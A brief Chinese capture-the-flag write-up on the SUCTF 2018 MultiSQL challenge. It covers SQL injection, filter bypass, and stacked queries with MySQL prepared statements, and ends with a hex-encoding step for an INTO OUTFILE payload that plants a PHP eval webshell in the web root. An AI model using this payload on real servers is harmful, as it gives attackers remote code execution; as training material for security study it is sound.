[SUCTF 2018]MultiSQL(mysql预编译)

这个上传点不知道怎么利用，但是在用户信息这里存在注入

过滤的有点多，substr被过滤，可以用mid

后面越做越迷糊，还是太菜了

----------------参考WP--------------

知道了flag 不在数据库中，反倒是利用存在的堆叠注入去getshell，然后读文件

这里题目叫multi sql，根据wp 来看是做了预编译处理

-----------MySQL预处理技术----------

这道题做的有点迷糊，先做个记录再复习

select * from sc where cno=1;set @a='select 1,2,3';prepare test from @a;execute test ;

这道题就是用这种方法写shell

select hex("select '<?php eval($_POST[cmd]);?>' into outfile '/var/www/html/favicon/shell.php';"